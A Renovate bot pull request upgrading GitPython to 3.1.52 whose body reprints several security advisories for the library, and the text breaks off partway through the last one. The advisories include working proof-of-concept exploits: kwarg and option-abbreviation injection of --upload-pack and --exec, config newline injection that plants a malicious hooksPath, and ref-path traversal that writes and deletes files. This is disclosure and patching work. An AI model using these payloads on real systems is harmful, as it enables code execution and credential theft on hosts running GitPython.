Skip to content

chore(deps): update dependency gitpython to v3.1.52 [security]#69

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability
Open

chore(deps): update dependency gitpython to v3.1.52 [security]#69
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 26, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
GitPython ==3.1.44==3.1.52 age confidence

GitPython has Command Injection via Git options bypass

CVE-2026-42215 / GHSA-rpm5-65cw-6hj4

More information

Details

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

  • git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
  • git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

  • Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
  • Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
  • Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
  • Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

  • upload_pack=... becomes --upload-pack=...
  • receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

  • remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
  • remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

  • test/test_clone.py:129-136 checks {"upload-pack": ...}
  • test/test_remote.py:830-833 checks {"upload-pack": ...}
  • test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC
  1. Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
  1. make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

##### Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work

##### you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@&#8203;"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@&#8203;"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

##### the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

##### this is the actual vulnerability

##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

##### Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
  1. Expected result:
  • The script prints control=blocked
  • The script prints proof_exists True ...
  • The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact

Who is impacted:

  • Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
  • Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
  • CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

  • A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to

  • Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
  • Modification of repositories, build outputs, or release artifacts
  • Lateral movement from CI/CD workers or automation hosts
  • Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Unsafe option check validates multi_options before shlex.split transformation

CVE-2026-42284 / GHSA-x2qx-6953-8485

More information

Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79
Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

CVE-2026-44243 / GHSA-7545-fcxq-7j24

More information

Details

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.


📦 Affected Versions
  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details
Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion


Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.


Affected Code
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
@&#8203;classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.


🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py

Exploit
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

💥 Impact
What can an attacker do?
  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files

Security Impact
  • Confidentiality: Low
  • Integrity: High
  • Availability: High

Who is affected?
  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow

🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

CVE-2026-44244 / GHSA-v87r-6q3f-2j67

More information

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

GHSA-mv93-w799-cj2w

More information

Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

GHSA-2f96-g7mh-g2hx

More information

Details

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.
Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)
##### git/cmd.py (commit 20c5e275), lines 948-974
@&#8203;classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@&#8203;classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)
Location Role
git/cmd.py:948-960 _canonicalize_option_name canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413 clone call sites
git/remote.py:1074,1128,1201 fetch / pull / push call sites
Bypass keys (verified)
kwarg key git resolves to path weaponizable
upload_p, upload_pac --upload-pack clone / fetch / pull Yes — direct RCE
receive_p --receive-pack push Yes — direct RCE
exe --exec push Yes — direct RCE
conf, confi --config clone bypasses option blocklist; RCE needs an additional config vector (see note)
Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

##### fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

  • upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
  • allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)
  1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
  2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
  3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: command injection via unguarded Git options in Repo.archive(), git.ls_remote(), and arbitrary file overwrite via Repo.iter_commits() / Repo.blame()

GHSA-956x-8gvw-wg5v

More information

Details

Summary

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().

That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:

  1. Repo.archive(ostream, treeish=None, prefix=None, **kwargs) forwards **kwargs verbatim into git archive. An attacker-influenced options mapping such as {"remote": ".", "exec": "<cmd>"} becomes git archive --remote=. --exec=<cmd> -- <treeish>, and git archive --remote=<local repo> invokes git-upload-archive whose path is overridden by --execarbitrary command execution under default Git configuration (no protocol.ext.allow needed).

  2. repo.git.ls_remote(<url>, upload_pack="<cmd>") (and the dynamic-command builder generally) turns the upload_pack kwarg into --upload-pack=<cmd> with no guard → arbitrary command execution.

  3. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev value into the argv before the -- end-of-options separator and apply no leading-dash check. A benign-looking ref value such as --output=/path/to/file is parsed by git rev-list / git blame as the --output option, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).

The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

Details

GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:

unsafe_git_fetch_options = [
    # Arbitrary command execution.
    "--upload-pack",
    "--receive-pack",
    # Arbitrary file overwrite.
    "--exec",
]

and enforces them via Git.check_unsafe_options() (git/cmd.py:963):

def check_unsafe_options(cls, options, unsafe_options):
    ...
    if unsafe_option is not None:
        raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")

But check_unsafe_options is invoked from only five sites, all network commands:

git/remote.py:1071   Remote.fetch
git/remote.py:1125   Remote.pull
git/remote.py:1198   Remote.push
git/repo/base.py:1410 / :1412  Repo.clone_from

The following sinks call git with caller-controlled options/positionals and are not guarded:

1. Repo.archive — command execution (git/repo/base.py:1623)
def archive(self, ostream, treeish=None, prefix=None, **kwargs):
    ...
    self.git.archive("--", treeish, *path, **kwargs)
    return self

treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:

git archive --remote=. --exec=<cmd> -- <treeish>

git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).

2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)

transform_kwarg dashifies upload_pack--upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.

This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.

3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)
##### Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs)   # args_list == ["--", *paths]
##### Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)

rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

git rev-list --output=/path --

git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.

PoC

All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

Install
python3 -m venv venv && . venv/bin/activate
pip install GitPython           # resolves to 3.1.50
python -c "import git; print(git.__version__)"   # 3.1.50
PoC 1 — command execution via Repo.archive
##### archive_rce.py
import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

##### a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
    print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])

print('[+] marker present:', os.path.exists(marker))

Verbatim output:

[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True

git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.

PoC 2 — command execution via git.ls_remote(upload_pack=...)
##### lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
    repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
    print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))

Verbatim output:

[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True
PoC 3 — arbitrary file overwrite via a benign-looking rev
##### itercommits_filewrite.py
import os, tempfile, subprocess, git
